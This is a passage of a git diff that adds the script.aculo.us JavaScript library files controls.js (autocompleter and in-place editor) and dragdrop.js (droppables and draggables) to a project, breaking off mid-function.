+      this.options.tokens.push('\n');
+
+    this.observer = null;
+    
+    this.element.setAttribute('autocomplete','off');
+
+    Element.hide(this.update);
+
+    Event.observe(this.element, 'blur', this.onBlur.bindAsEventListener(this));
+    Event.observe(this.element, 'keypress', this.onKeyPress.bindAsEventListener(this));
+  },
+
+  show: function() {
+    if(Element.getStyle(this.update, 'display')=='none') this.options.onShow(this.element, this.update);
+    if(!this.iefix && 
+      (Prototype.Browser.IE) &&
+      (Element.getStyle(this.update, 'position')=='absolute')) {
+      new Insertion.After(this.update, 
+       '<iframe id="' + this.update.id + '_iefix" '+
+       'style="display:none;position:absolute;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);" ' +
+       'src="javascript:false;" frameborder="0" scrolling="no"></iframe>');
+      this.iefix = $(this.update.id+'_iefix');
+    }
+    if(this.iefix) setTimeout(this.fixIEOverlapping.bind(this), 50);
+  },
+  
+  fixIEOverlapping: function() {
+    Position.clone(this.update, this.iefix, {setTop:(!this.update.style.height)});
+    this.iefix.style.zIndex = 1;
+    this.update.style.zIndex = 2;
+    Element.show(this.iefix);
+  },
+
+  hide: function() {
+    this.stopIndicator();
+    if(Element.getStyle(this.update, 'display')!='none') this.options.onHide(this.element, this.update);
+    if(this.iefix) Element.hide(this.iefix);
+  },
+
+  startIndicator: function() {
+    if(this.options.indicator) Element.show(this.options.indicator);
+  },
+
+  stopIndicator: function() {
+    if(this.options.indicator) Element.hide(this.options.indicator);
+  },
+
+  onKeyPress: function(event) {
+    if(this.active)
+      switch(event.keyCode) {
+       case Event.KEY_TAB:
+       case Event.KEY_RETURN:
+         this.selectEntry();
+         Event.stop(event);
+       case Event.KEY_ESC:
+         this.hide();
+         this.active = false;
+         Event.stop(event);
+         return;
+       case Event.KEY_LEFT:
+       case Event.KEY_RIGHT:
+         return;
+       case Event.KEY_UP:
+         this.markPrevious();
+         this.render();
+         if(Prototype.Browser.WebKit) Event.stop(event);
+         return;
+       case Event.KEY_DOWN:
+         this.markNext();
+         this.render();
+         if(Prototype.Browser.WebKit) Event.stop(event);
+         return;
+      }
+     else 
+       if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN || 
+         (Prototype.Browser.WebKit > 0 && event.keyCode == 0)) return;
+
+    this.changed = true;
+    this.hasFocus = true;
+
+    if(this.observer) clearTimeout(this.observer);
+      this.observer = 
+        setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000);
+  },
+
+  activate: function() {
+    this.changed = false;
+    this.hasFocus = true;
+    this.getUpdatedChoices();
+  },
+
+  onHover: function(event) {
+    var element = Event.findElement(event, 'LI');
+    if(this.index != element.autocompleteIndex) 
+    {
+        this.index = element.autocompleteIndex;
+        this.render();
+    }
+    Event.stop(event);
+  },
+  
+  onClick: function(event) {
+    var element = Event.findElement(event, 'LI');
+    this.index = element.autocompleteIndex;
+    this.selectEntry();
+    this.hide();
+  },
+  
+  onBlur: function(event) {
+    // needed to make click events working
+    setTimeout(this.hide.bind(this), 250);
+    this.hasFocus = false;
+    this.active = false;     
+  }, 
+  
+  render: function() {
+    if(this.entryCount > 0) {
+      for (var i = 0; i < this.entryCount; i++)
+        this.index==i ? 
+          Element.addClassName(this.getEntry(i),"selected") : 
+          Element.removeClassName(this.getEntry(i),"selected");
+      if(this.hasFocus) { 
+        this.show();
+        this.active = true;
+      }
+    } else {
+      this.active = false;
+      this.hide();
+    }
+  },
+  
+  markPrevious: function() {
+    if(this.index > 0) this.index--
+      else this.index = this.entryCount-1;
+    this.getEntry(this.index).scrollIntoView(true);
+  },
+  
+  markNext: function() {
+    if(this.index < this.entryCount-1) this.index++
+      else this.index = 0;
+    this.getEntry(this.index).scrollIntoView(false);
+  },
+  
+  getEntry: function(index) {
+    return this.update.firstChild.childNodes[index];
+  },
+  
+  getCurrentEntry: function() {
+    return this.getEntry(this.index);
+  },
+  
+  selectEntry: function() {
+    this.active = false;
+    this.updateElement(this.getCurrentEntry());
+  },
+
+  updateElement: function(selectedElement) {
+    if (this.options.updateElement) {
+      this.options.updateElement(selectedElement);
+      return;
+    }
+    var value = '';
+    if (this.options.select) {
+      var nodes = $(selectedElement).select('.' + this.options.select) || [];
+      if(nodes.length>0) value = Element.collectTextNodes(nodes[0], this.options.select);
+    } else
+      value = Element.collectTextNodesIgnoreClass(selectedElement, 'informal');
+    
+    var bounds = this.getTokenBounds();
+    if (bounds[0] != -1) {
+      var newValue = this.element.value.substr(0, bounds[0]);
+      var whitespace = this.element.value.substr(bounds[0]).match(/^\s+/);
+      if (whitespace)
+        newValue += whitespace[0];
+      this.element.value = newValue + value + this.element.value.substr(bounds[1]);
+    } else {
+      this.element.value = value;
+    }
+    this.oldElementValue = this.element.value;
+    this.element.focus();
+    
+    if (this.options.afterUpdateElement)
+      this.options.afterUpdateElement(this.element, selectedElement);
+  },
+
+  updateChoices: function(choices) {
+    if(!this.changed && this.hasFocus) {
+      this.update.innerHTML = choices;
+      Element.cleanWhitespace(this.update);
+      Element.cleanWhitespace(this.update.down());
+
+      if(this.update.firstChild && this.update.down().childNodes) {
+        this.entryCount = 
+          this.update.down().childNodes.length;
+        for (var i = 0; i < this.entryCount; i++) {
+          var entry = this.getEntry(i);
+          entry.autocompleteIndex = i;
+          this.addObservers(entry);
+        }
+      } else { 
+        this.entryCount = 0;
+      }
+
+      this.stopIndicator();
+      this.index = 0;
+      
+      if(this.entryCount==1 && this.options.autoSelect) {
+        this.selectEntry();
+        this.hide();
+      } else {
+        this.render();
+      }
+    }
+  },
+
+  addObservers: function(element) {
+    Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this));
+    Event.observe(element, "click", this.onClick.bindAsEventListener(this));
+  },
+
+  onObserverEvent: function() {
+    this.changed = false;   
+    this.tokenBounds = null;
+    if(this.getToken().length>=this.options.minChars) {
+      this.getUpdatedChoices();
+    } else {
+      this.active = false;
+      this.hide();
+    }
+    this.oldElementValue = this.element.value;
+  },
+
+  getToken: function() {
+    var bounds = this.getTokenBounds();
+    return this.element.value.substring(bounds[0], bounds[1]).strip();
+  },
+
+  getTokenBounds: function() {
+    if (null != this.tokenBounds) return this.tokenBounds;
+    var value = this.element.value;
+    if (value.strip().empty()) return [-1, 0];
+    var diff = arguments.callee.getFirstDifferencePos(value, this.oldElementValue);
+    var offset = (diff == this.oldElementValue.length ? 1 : 0);
+    var prevTokenPos = -1, nextTokenPos = value.length;
+    var tp;
+    for (var index = 0, l = this.options.tokens.length; index < l; ++index) {
+      tp = value.lastIndexOf(this.options.tokens[index], diff + offset - 1);
+      if (tp > prevTokenPos) prevTokenPos = tp;
+      tp = value.indexOf(this.options.tokens[index], diff + offset);
+      if (-1 != tp && tp < nextTokenPos) nextTokenPos = tp;
+    }
+    return (this.tokenBounds = [prevTokenPos + 1, nextTokenPos]);
+  }
+});
+
+Autocompleter.Base.prototype.getTokenBounds.getFirstDifferencePos = function(newS, oldS) {
+  var boundary = Math.min(newS.length, oldS.length);
+  for (var index = 0; index < boundary; ++index)
+    if (newS[index] != oldS[index])
+      return index;
+  return boundary;
+};
+
+Ajax.Autocompleter = Class.create(Autocompleter.Base, {
+  initialize: function(element, update, url, options) {
+    this.baseInitialize(element, update, options);
+    this.options.asynchronous  = true;
+    this.options.onComplete    = this.onComplete.bind(this);
+    this.options.defaultParams = this.options.parameters || null;
+    this.url                   = url;
+  },
+
+  getUpdatedChoices: function() {
+    this.startIndicator();
+    
+    var entry = encodeURIComponent(this.options.paramName) + '=' + 
+      encodeURIComponent(this.getToken());
+
+    this.options.parameters = this.options.callback ?
+      this.options.callback(this.element, entry) : entry;
+
+    if(this.options.defaultParams) 
+      this.options.parameters += '&' + this.options.defaultParams;
+    
+    new Ajax.Request(this.url, this.options);
+  },
+
+  onComplete: function(request) {
+    this.updateChoices(request.responseText);
+  }
+});
+
+// The local array autocompleter. Used when you'd prefer to
+// inject an array of autocompletion options into the page, rather
+// than sending out Ajax queries, which can be quite slow sometimes.
+//
+// The constructor takes four parameters. The first two are, as usual,
+// the id of the monitored textbox, and id of the autocompletion menu.
+// The third is the array you want to autocomplete from, and the fourth
+// is the options block.
+//
+// Extra local autocompletion options:
+// - choices - How many autocompletion choices to offer
+//
+// - partialSearch - If false, the autocompleter will match entered
+//                    text only at the beginning of strings in the 
+//                    autocomplete array. Defaults to true, which will
+//                    match text at the beginning of any *word* in the
+//                    strings in the autocomplete array. If you want to
+//                    search anywhere in the string, additionally set
+//                    the option fullSearch to true (default: off).
+//
+// - fullSsearch - Search anywhere in autocomplete array strings.
+//
+// - partialChars - How many characters to enter before triggering
+//                   a partial match (unlike minChars, which defines
+//                   how many characters are required to do any match
+//                   at all). Defaults to 2.
+//
+// - ignoreCase - Whether to ignore case when autocompleting.
+//                 Defaults to true.
+//
+// It's possible to pass in a custom function as the 'selector' 
+// option, if you prefer to write your own autocompletion logic.
+// In that case, the other options above will not apply unless
+// you support them.
+
+Autocompleter.Local = Class.create(Autocompleter.Base, {
+  initialize: function(element, update, array, options) {
+    this.baseInitialize(element, update, options);
+    this.options.array = array;
+  },
+
+  getUpdatedChoices: function() {
+    this.updateChoices(this.options.selector(this));
+  },
+
+  setOptions: function(options) {
+    this.options = Object.extend({
+      choices: 10,
+      partialSearch: true,
+      partialChars: 2,
+      ignoreCase: true,
+      fullSearch: false,
+      selector: function(instance) {
+        var ret       = []; // Beginning matches
+        var partial   = []; // Inside matches
+        var entry     = instance.getToken();
+        var count     = 0;
+
+        for (var i = 0; i < instance.options.array.length &&  
+          ret.length < instance.options.choices ; i++) { 
+
+          var elem = instance.options.array[i];
+          var foundPos = instance.options.ignoreCase ? 
+            elem.toLowerCase().indexOf(entry.toLowerCase()) : 
+            elem.indexOf(entry);
+
+          while (foundPos != -1) {
+            if (foundPos == 0 && elem.length != entry.length) { 
+              ret.push("<li><strong>" + elem.substr(0, entry.length) + "</strong>" + 
+                elem.substr(entry.length) + "</li>");
+              break;
+            } else if (entry.length >= instance.options.partialChars && 
+              instance.options.partialSearch && foundPos != -1) {
+              if (instance.options.fullSearch || /\s/.test(elem.substr(foundPos-1,1))) {
+                partial.push("<li>" + elem.substr(0, foundPos) + "<strong>" +
+                  elem.substr(foundPos, entry.length) + "</strong>" + elem.substr(
+                  foundPos + entry.length) + "</li>");
+                break;
+              }
+            }
+
+            foundPos = instance.options.ignoreCase ? 
+              elem.toLowerCase().indexOf(entry.toLowerCase(), foundPos + 1) : 
+              elem.indexOf(entry, foundPos + 1);
+
+          }
+        }
+        if (partial.length)
+          ret = ret.concat(partial.slice(0, instance.options.choices - ret.length))
+        return "<ul>" + ret.join('') + "</ul>";
+      }
+    }, options || { });
+  }
+});
+
+// AJAX in-place editor and collection editor
+// Full rewrite by Christophe Porteneuve <tdd@tddsworld.com> (April 2007).
+
+// Use this if you notice weird scrolling problems on some browsers,
+// the DOM might be a bit confused when this gets called so do this
+// waits 1 ms (with setTimeout) until it does the activation
+Field.scrollFreeActivate = function(field) {
+  setTimeout(function() {
+    Field.activate(field);
+  }, 1);
+}
+
+Ajax.InPlaceEditor = Class.create({
+  initialize: function(element, url, options) {
+    this.url = url;
+    this.element = element = $(element);
+    this.prepareOptions();
+    this._controls = { };
+    arguments.callee.dealWithDeprecatedOptions(options); // DEPRECATION LAYER!!!
+    Object.extend(this.options, options || { });
+    if (!this.options.formId && this.element.id) {
+      this.options.formId = this.element.id + '-inplaceeditor';
+      if ($(this.options.formId))
+        this.options.formId = '';
+    }
+    if (this.options.externalControl)
+      this.options.externalControl = $(this.options.externalControl);
+    if (!this.options.externalControl)
+      this.options.externalControlOnly = false;
+    this._originalBackground = this.element.getStyle('background-color') || 'transparent';
+    this.element.title = this.options.clickToEditText;
+    this._boundCancelHandler = this.handleFormCancellation.bind(this);
+    this._boundComplete = (this.options.onComplete || Prototype.emptyFunction).bind(this);
+    this._boundFailureHandler = this.handleAJAXFailure.bind(this);
+    this._boundSubmitHandler = this.handleFormSubmission.bind(this);
+    this._boundWrapperHandler = this.wrapUp.bind(this);
+    this.registerListeners();
+  },
+  checkForEscapeOrReturn: function(e) {
+    if (!this._editing || e.ctrlKey || e.altKey || e.shiftKey) return;
+    if (Event.KEY_ESC == e.keyCode)
+      this.handleFormCancellation(e);
+    else if (Event.KEY_RETURN == e.keyCode)
+      this.handleFormSubmission(e);
+  },
+  createControl: function(mode, handler, extraClasses) {
+    var control = this.options[mode + 'Control'];
+    var text = this.options[mode + 'Text'];
+    if ('button' == control) {
+      var btn = document.createElement('input');
+      btn.type = 'submit';
+      btn.value = text;
+      btn.className = 'editor_' + mode + '_button';
+      if ('cancel' == mode)
+        btn.onclick = this._boundCancelHandler;
+      this._form.appendChild(btn);
+      this._controls[mode] = btn;
+    } else if ('link' == control) {
+      var link = document.createElement('a');
+      link.href = '#';
+      link.appendChild(document.createTextNode(text));
+      link.onclick = 'cancel' == mode ? this._boundCancelHandler : this._boundSubmitHandler;
+      link.className = 'editor_' + mode + '_link';
+      if (extraClasses)
+        link.className += ' ' + extraClasses;
+      this._form.appendChild(link);
+      this._controls[mode] = link;
+    }
+  },
+  createEditField: function() {
+    var text = (this.options.loadTextURL ? this.options.loadingText : this.getText());
+    var fld;
+    if (1 >= this.options.rows && !/\r|\n/.test(this.getText())) {
+      fld = document.createElement('input');
+      fld.type = 'text';
+      var size = this.options.size || this.options.cols || 0;
+      if (0 < size) fld.size = size;
+    } else {
+      fld = document.createElement('textarea');
+      fld.rows = (1 >= this.options.rows ? this.options.autoRows : this.options.rows);
+      fld.cols = this.options.cols || 40;
+    }
+    fld.name = this.options.paramName;
+    fld.value = text; // No HTML breaks conversion anymore
+    fld.className = 'editor_field';
+    if (this.options.submitOnBlur)
+      fld.onblur = this._boundSubmitHandler;
+    this._controls.editor = fld;
+    if (this.options.loadTextURL)
+      this.loadExternalText();
+    this._form.appendChild(this._controls.editor);
+  },
+  createForm: function() {
+    var ipe = this;
+    function addText(mode, condition) {
+      var text = ipe.options['text' + mode + 'Controls'];
+      if (!text || condition === false) return;
+      ipe._form.appendChild(document.createTextNode(text));
+    };
+    this._form = $(document.createElement('form'));
+    this._form.id = this.options.formId;
+    this._form.addClassName(this.options.formClassName);
+    this._form.onsubmit = this._boundSubmitHandler;
+    this.createEditField();
+    if ('textarea' == this._controls.editor.tagName.toLowerCase())
+      this._form.appendChild(document.createElement('br'));
+    if (this.options.onFormCustomization)
+      this.options.onFormCustomization(this, this._form);
+    addText('Before', this.options.okControl || this.options.cancelControl);
+    this.createControl('ok', this._boundSubmitHandler);
+    addText('Between', this.options.okControl && this.options.cancelControl);
+    this.createControl('cancel', this._boundCancelHandler, 'editor_cancel');
+    addText('After', this.options.okControl || this.options.cancelControl);
+  },
+  destroy: function() {
+    if (this._oldInnerHTML)
+      this.element.innerHTML = this._oldInnerHTML;
+    this.leaveEditMode();
+    this.unregisterListeners();
+  },
+  enterEditMode: function(e) {
+    if (this._saving || this._editing) return;
+    this._editing = true;
+    this.triggerCallback('onEnterEditMode');
+    if (this.options.externalControl)
+      this.options.externalControl.hide();
+    this.element.hide();
+    this.createForm();
+    this.element.parentNode.insertBefore(this._form, this.element);
+    if (!this.options.loadTextURL)
+      this.postProcessEditField();
+    if (e) Event.stop(e);
+  },
+  enterHover: function(e) {
+    if (this.options.hoverClassName)
+      this.element.addClassName(this.options.hoverClassName);
+    if (this._saving) return;
+    this.triggerCallback('onEnterHover');
+  },
+  getText: function() {
+    return this.element.innerHTML;
+  },
+  handleAJAXFailure: function(transport) {
+    this.triggerCallback('onFailure', transport);
+    if (this._oldInnerHTML) {
+      this.element.innerHTML = this._oldInnerHTML;
+      this._oldInnerHTML = null;
+    }
+  },
+  handleFormCancellation: function(e) {
+    this.wrapUp();
+    if (e) Event.stop(e);
+  },
+  handleFormSubmission: function(e) {
+    var form = this._form;
+    var value = $F(this._controls.editor);
+    this.prepareSubmission();
+    var params = this.options.callback(form, value) || '';
+    if (Object.isString(params))
+      params = params.toQueryParams();
+    params.editorId = this.element.id;
+    if (this.options.htmlResponse) {
+      var options = Object.extend({ evalScripts: true }, this.options.ajaxOptions);
+      Object.extend(options, {
+        parameters: params,
+        onComplete: this._boundWrapperHandler,
+        onFailure: this._boundFailureHandler
+      });
+      new Ajax.Updater({ success: this.element }, this.url, options);
+    } else {
+      var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
+      Object.extend(options, {
+        parameters: params,
+        onComplete: this._boundWrapperHandler,
+        onFailure: this._boundFailureHandler
+      });
+      new Ajax.Request(this.url, options);
+    }
+    if (e) Event.stop(e);
+  },
+  leaveEditMode: function() {
+    this.element.removeClassName(this.options.savingClassName);
+    this.removeForm();
+    this.leaveHover();
+    this.element.style.backgroundColor = this._originalBackground;
+    this.element.show();
+    if (this.options.externalControl)
+      this.options.externalControl.show();
+    this._saving = false;
+    this._editing = false;
+    this._oldInnerHTML = null;
+    this.triggerCallback('onLeaveEditMode');
+  },
+  leaveHover: function(e) {
+    if (this.options.hoverClassName)
+      this.element.removeClassName(this.options.hoverClassName);
+    if (this._saving) return;
+    this.triggerCallback('onLeaveHover');
+  },
+  loadExternalText: function() {
+    this._form.addClassName(this.options.loadingClassName);
+    this._controls.editor.disabled = true;
+    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
+    Object.extend(options, {
+      parameters: 'editorId=' + encodeURIComponent(this.element.id),
+      onComplete: Prototype.emptyFunction,
+      onSuccess: function(transport) {
+        this._form.removeClassName(this.options.loadingClassName);
+        var text = transport.responseText;
+        if (this.options.stripLoadedTextTags)
+          text = text.stripTags();
+        this._controls.editor.value = text;
+        this._controls.editor.disabled = false;
+        this.postProcessEditField();
+      }.bind(this),
+      onFailure: this._boundFailureHandler
+    });
+    new Ajax.Request(this.options.loadTextURL, options);
+  },
+  postProcessEditField: function() {
+    var fpc = this.options.fieldPostCreation;
+    if (fpc)
+      $(this._controls.editor)['focus' == fpc ? 'focus' : 'activate']();
+  },
+  prepareOptions: function() {
+    this.options = Object.clone(Ajax.InPlaceEditor.DefaultOptions);
+    Object.extend(this.options, Ajax.InPlaceEditor.DefaultCallbacks);
+    [this._extraDefaultOptions].flatten().compact().each(function(defs) {
+      Object.extend(this.options, defs);
+    }.bind(this));
+  },
+  prepareSubmission: function() {
+    this._saving = true;
+    this.removeForm();
+    this.leaveHover();
+    this.showSaving();
+  },
+  registerListeners: function() {
+    this._listeners = { };
+    var listener;
+    $H(Ajax.InPlaceEditor.Listeners).each(function(pair) {
+      listener = this[pair.value].bind(this);
+      this._listeners[pair.key] = listener;
+      if (!this.options.externalControlOnly)
+        this.element.observe(pair.key, listener);
+      if (this.options.externalControl)
+        this.options.externalControl.observe(pair.key, listener);
+    }.bind(this));
+  },
+  removeForm: function() {
+    if (!this._form) return;
+    this._form.remove();
+    this._form = null;
+    this._controls = { };
+  },
+  showSaving: function() {
+    this._oldInnerHTML = this.element.innerHTML;
+    this.element.innerHTML = this.options.savingText;
+    this.element.addClassName(this.options.savingClassName);
+    this.element.style.backgroundColor = this._originalBackground;
+    this.element.show();
+  },
+  triggerCallback: function(cbName, arg) {
+    if ('function' == typeof this.options[cbName]) {
+      this.options[cbName](this, arg);
+    }
+  },
+  unregisterListeners: function() {
+    $H(this._listeners).each(function(pair) {
+      if (!this.options.externalControlOnly)
+        this.element.stopObserving(pair.key, pair.value);
+      if (this.options.externalControl)
+        this.options.externalControl.stopObserving(pair.key, pair.value);
+    }.bind(this));
+  },
+  wrapUp: function(transport) {
+    this.leaveEditMode();
+    // Can't use triggerCallback due to backward compatibility: requires
+    // binding + direct element
+    this._boundComplete(transport, this.element);
+  }
+});
+
+Object.extend(Ajax.InPlaceEditor.prototype, {
+  dispose: Ajax.InPlaceEditor.prototype.destroy
+});
+
+Ajax.InPlaceCollectionEditor = Class.create(Ajax.InPlaceEditor, {
+  initialize: function($super, element, url, options) {
+    this._extraDefaultOptions = Ajax.InPlaceCollectionEditor.DefaultOptions;
+    $super(element, url, options);
+  },
+
+  createEditField: function() {
+    var list = document.createElement('select');
+    list.name = this.options.paramName;
+    list.size = 1;
+    this._controls.editor = list;
+    this._collection = this.options.collection || [];
+    if (this.options.loadCollectionURL)
+      this.loadCollection();
+    else
+      this.checkForExternalText();
+    this._form.appendChild(this._controls.editor);
+  },
+
+  loadCollection: function() {
+    this._form.addClassName(this.options.loadingClassName);
+    this.showLoadingText(this.options.loadingCollectionText);
+    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
+    Object.extend(options, {
+      parameters: 'editorId=' + encodeURIComponent(this.element.id),
+      onComplete: Prototype.emptyFunction,
+      onSuccess: function(transport) {
+        var js = transport.responseText.strip();
+        if (!/^\[.*\]$/.test(js)) // TODO: improve sanity check
+          throw 'Server returned an invalid collection representation.';
+        this._collection = eval(js);
+        this.checkForExternalText();
+      }.bind(this),
+      onFailure: this.onFailure
+    });
+    new Ajax.Request(this.options.loadCollectionURL, options);
+  },
+
+  showLoadingText: function(text) {
+    this._controls.editor.disabled = true;
+    var tempOption = this._controls.editor.firstChild;
+    if (!tempOption) {
+      tempOption = document.createElement('option');
+      tempOption.value = '';
+      this._controls.editor.appendChild(tempOption);
+      tempOption.selected = true;
+    }
+    tempOption.update((text || '').stripScripts().stripTags());
+  },
+
+  checkForExternalText: function() {
+    this._text = this.getText();
+    if (this.options.loadTextURL)
+      this.loadExternalText();
+    else
+      this.buildOptionList();
+  },
+
+  loadExternalText: function() {
+    this.showLoadingText(this.options.loadingText);
+    var options = Object.extend({ method: 'get' }, this.options.ajaxOptions);
+    Object.extend(options, {
+      parameters: 'editorId=' + encodeURIComponent(this.element.id),
+      onComplete: Prototype.emptyFunction,
+      onSuccess: function(transport) {
+        this._text = transport.responseText.strip();
+        this.buildOptionList();
+      }.bind(this),
+      onFailure: this.onFailure
+    });
+    new Ajax.Request(this.options.loadTextURL, options);
+  },
+
+  buildOptionList: function() {
+    this._form.removeClassName(this.options.loadingClassName);
+    this._collection = this._collection.map(function(entry) {
+      return 2 === entry.length ? entry : [entry, entry].flatten();
+    });
+    var marker = ('value' in this.options) ? this.options.value : this._text;
+    var textFound = this._collection.any(function(entry) {
+      return entry[0] == marker;
+    }.bind(this));
+    this._controls.editor.update('');
+    var option;
+    this._collection.each(function(entry, index) {
+      option = document.createElement('option');
+      option.value = entry[0];
+      option.selected = textFound ? entry[0] == marker : 0 == index;
+      option.appendChild(document.createTextNode(entry[1]));
+      this._controls.editor.appendChild(option);
+    }.bind(this));
+    this._controls.editor.disabled = false;
+    Field.scrollFreeActivate(this._controls.editor);
+  }
+});
+
+//**** DEPRECATION LAYER FOR InPlace[Collection]Editor! ****
+//**** This only  exists for a while,  in order to  let ****
+//**** users adapt to  the new API.  Read up on the new ****
+//**** API and convert your code to it ASAP!            ****
+
+Ajax.InPlaceEditor.prototype.initialize.dealWithDeprecatedOptions = function(options) {
+  if (!options) return;
+  function fallback(name, expr) {
+    if (name in options || expr === undefined) return;
+    options[name] = expr;
+  };
+  fallback('cancelControl', (options.cancelLink ? 'link' : (options.cancelButton ? 'button' :
+    options.cancelLink == options.cancelButton == false ? false : undefined)));
+  fallback('okControl', (options.okLink ? 'link' : (options.okButton ? 'button' :
+    options.okLink == options.okButton == false ? false : undefined)));
+  fallback('highlightColor', options.highlightcolor);
+  fallback('highlightEndColor', options.highlightendcolor);
+};
+
+Object.extend(Ajax.InPlaceEditor, {
+  DefaultOptions: {
+    ajaxOptions: { },
+    autoRows: 3,                                // Use when multi-line w/ rows == 1
+    cancelControl: 'link',                      // 'link'|'button'|false
+    cancelText: 'cancel',
+    clickToEditText: 'Click to edit',
+    externalControl: null,                      // id|elt
+    externalControlOnly: false,
+    fieldPostCreation: 'activate',              // 'activate'|'focus'|false
+    formClassName: 'inplaceeditor-form',
+    formId: null,                               // id|elt
+    highlightColor: '#ffff99',
+    highlightEndColor: '#ffffff',
+    hoverClassName: '',
+    htmlResponse: true,
+    loadingClassName: 'inplaceeditor-loading',
+    loadingText: 'Loading...',
+    okControl: 'button',                        // 'link'|'button'|false
+    okText: 'ok',
+    paramName: 'value',
+    rows: 1,                                    // If 1 and multi-line, uses autoRows
+    savingClassName: 'inplaceeditor-saving',
+    savingText: 'Saving...',
+    size: 0,
+    stripLoadedTextTags: false,
+    submitOnBlur: false,
+    textAfterControls: '',
+    textBeforeControls: '',
+    textBetweenControls: ''
+  },
+  DefaultCallbacks: {
+    callback: function(form) {
+      return Form.serialize(form);
+    },
+    onComplete: function(transport, element) {
+      // For backward compatibility, this one is bound to the IPE, and passes
+      // the element directly.  It was too often customized, so we don't break it.
+      new Effect.Highlight(element, {
+        startcolor: this.options.highlightColor, keepBackgroundImage: true });
+    },
+    onEnterEditMode: null,
+    onEnterHover: function(ipe) {
+      ipe.element.style.backgroundColor = ipe.options.highlightColor;
+      if (ipe._effect)
+        ipe._effect.cancel();
+    },
+    onFailure: function(transport, ipe) {
+      alert('Error communication with the server: ' + transport.responseText.stripTags());
+    },
+    onFormCustomization: null, // Takes the IPE and its generated form, after editor, before controls.
+    onLeaveEditMode: null,
+    onLeaveHover: function(ipe) {
+      ipe._effect = new Effect.Highlight(ipe.element, {
+        startcolor: ipe.options.highlightColor, endcolor: ipe.options.highlightEndColor,
+        restorecolor: ipe._originalBackground, keepBackgroundImage: true
+      });
+    }
+  },
+  Listeners: {
+    click: 'enterEditMode',
+    keydown: 'checkForEscapeOrReturn',
+    mouseover: 'enterHover',
+    mouseout: 'leaveHover'
+  }
+});
+
+Ajax.InPlaceCollectionEditor.DefaultOptions = {
+  loadingCollectionText: 'Loading options...'
+};
+
+// Delayed observer, like Form.Element.Observer, 
+// but waits for delay after last key input
+// Ideal for live-search fields
+
+Form.Element.DelayedObserver = Class.create({
+  initialize: function(element, delay, callback) {
+    this.delay     = delay || 0.5;
+    this.element   = $(element);
+    this.callback  = callback;
+    this.timer     = null;
+    this.lastValue = $F(this.element); 
+    Event.observe(this.element,'keyup',this.delayedListener.bindAsEventListener(this));
+  },
+  delayedListener: function(event) {
+    if(this.lastValue == $F(this.element)) return;
+    if(this.timer) clearTimeout(this.timer);
+    this.timer = setTimeout(this.onTimerEvent.bind(this), this.delay * 1000);
+    this.lastValue = $F(this.element);
+  },
+  onTimerEvent: function() {
+    this.timer = null;
+    this.callback(this.element, $F(this.element));
+  }
+});
diff --git a/libjs/dragdrop.js b/libjs/dragdrop.js
new file mode 100755 (executable)
index 0000000..14ebc6f
--- /dev/null
@@ -0,0 +1,974 @@
+// script.aculo.us dragdrop.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007
+
+// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+//           (c) 2005-2007 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz)
+// 
+// script.aculo.us is freely distributable under the terms of an MIT-style license.
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+if(Object.isUndefined(Effect))
+  throw("dragdrop.js requires including script.aculo.us' effects.js library");
+
+var Droppables = {
+  drops: [],
+
+  remove: function(element) {
+    this.drops = this.drops.reject(function(d) { return d.element==$(element) });
+  },
+
+  add: function(element) {
+    element = $(element);
+    var options = Object.extend({
+      greedy:     true,
+      hoverclass: null,
+      tree:       false
+    }, arguments[1] || { });
+
+    // cache containers
+    if(options.containment) {
+      options._containers = [];
+      var containment = options.containment;
+      if(Object.isArray(containment)) {
+        containment.each( function(c) { options._containers.push($(c)) });
+      } else {
+        options._containers.push($(containment));
+      }
+    }
+    
+    if(options.accept) options.accept = [options.accept].flatten();
+
+    Element.makePositioned(element); // fix IE
+    options.element = element;
+
+    this.drops.push(options);
+  },
+  
+  findDeepestChild: function(drops) {
+    deepest = drops[0];
+      
+    for (i = 1; i < drops.length; ++i)
+      if (Element.isParent(drops[i].element, deepest.element))
+        deepest = drops[i];
+    
+    return deepest;
+  },
+
+  isContained: function(element, drop) {
+    var containmentNode;
+    if(drop.tree) {
+      containmentNode = element.treeNode; 
+    } else {
+      containmentNode = element.parentNode;
+    }
+    return drop._containers.detect(function(c) { return containmentNode == c });
+  },
+  
+  isAffected: function(point, element, drop) {
+    return (
+      (drop.element!=element) &&
+      ((!drop._containers) ||
+        this.isContained(element, drop)) &&
+      ((!drop.accept) ||
+        (Element.classNames(element).detect( 
+          function(v) { return drop.accept.include(v) } ) )) &&
+      Position.within(drop.element, point[0], point[1]) );
+  },
+
+  deactivate: function(drop) {
+    if(drop.hoverclass)
+      Element.removeClassName(drop.element, drop.hoverclass);
+    this.last_active = null;
+  },
+
+  activate: function(drop) {
+    if(drop.hoverclass)
+      Element.addClassName(drop.element, drop.hoverclass);
+    this.last_active = drop;
+  },
+
+  show: function(point, element) {
+    if(!this.drops.length) return;
+    var drop, affected = [];
+    
+    this.drops.each( function(drop) {
+      if(Droppables.isAffected(point, element, drop))
+        affected.push(drop);
+    });
+        
+    if(affected.length>0)
+      drop = Droppables.findDeepestChild(affected);
+
+    if(this.last_active && this.last_active != drop) this.deactivate(this.last_active);
+    if (drop) {
+      Position.within(drop.element, point[0], point[1]);
+      if(drop.onHover)
+        drop.onHover(element, drop.element, Position.overlap(drop.overlap, drop.element));
+      
+      if (drop != this.last_active) Droppables.activate(drop);
+    }
+  },
+
+  fire: function(event, element) {
+    if(!this.last_active) return;
+    Position.prepare();
+
+    if (this.isAffected([Event.pointerX(event), Event.pointerY(event)], element, this.last_active))
+      if (this.last_active.onDrop) {
+        this.last_active.onDrop(element, this.last_active.element, event); 
+        return true; 
+      }
+  },
+
+  reset: function() {
+    if(this.last_active)
+      this.deactivate(this.last_active);
+  }
+}
+
+var Draggables = {
+  drags: [],
+  observers: [],
+  
+  register: function(draggable) {
+    if(this.drags.length == 0) {
+      this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
